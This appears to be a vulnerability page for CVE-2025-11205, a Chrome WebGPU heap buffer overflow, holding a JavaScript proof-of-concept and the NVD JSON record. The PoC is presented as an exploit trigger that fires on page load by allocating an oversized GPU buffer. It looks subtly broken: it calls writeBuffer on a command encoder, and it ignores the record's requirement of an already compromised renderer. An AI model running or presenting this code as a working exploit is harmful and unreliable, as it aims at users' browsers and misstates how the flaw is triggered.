CVE-2025-11205

// CVE-2025-11205 PoC - WebGPU Heap Buffer Overflow // This PoC demonstrates the vulnerability trigger mechanism // Note: This is for educational and security research purposes only async function triggerVulnerability() { // Check WebGPU support if (!navigator.gpu) { console.error('WebGPU not supported'); return; } try { // Request WebGPU adapter const adapter = await navigator.gpu.requestAdapter(); if (!adapter) { console.error('Failed to get GPU adapter'); return; } // Request WebGPU device const device = await adapter.requestDevice(); // Create malicious buffer with oversized parameters // This triggers the heap buffer overflow condition const maliciousBuffer = device.createBuffer({ size: 0xFFFFFFFF, // Potentially trigger overflow usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); // Create command encoder const commandEncoder = device.createCommandEncoder(); // Perform operations that may trigger the overflow // The vulnerability occurs during GPU memory operations commandEncoder.writeBuffer(maliciousBuffer, 0, new Uint8Array(1024)); const commands = commandEncoder.finish(); device.queue.submit([commands]); console.log('PoC executed - vulnerability trigger attempted'); } catch (error) { console.error('Error during PoC execution:', error); } } // Execute when page loads window.addEventListener('load', () => { triggerVulnerability(); });

{"cve": {"id": "CVE-2025-11205", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:38.327", "lastModified": "2025-11-13T15:31:01.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in WebGPU in Google Chrome prior to 141.0.7390.54 allowed a remote attacker who had compromised the renderer process to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "141.0.7390.54", "matchCriteriaId": "008031A0-CC1E-47CF-A136-90F4FE1FA9A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/442444724", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}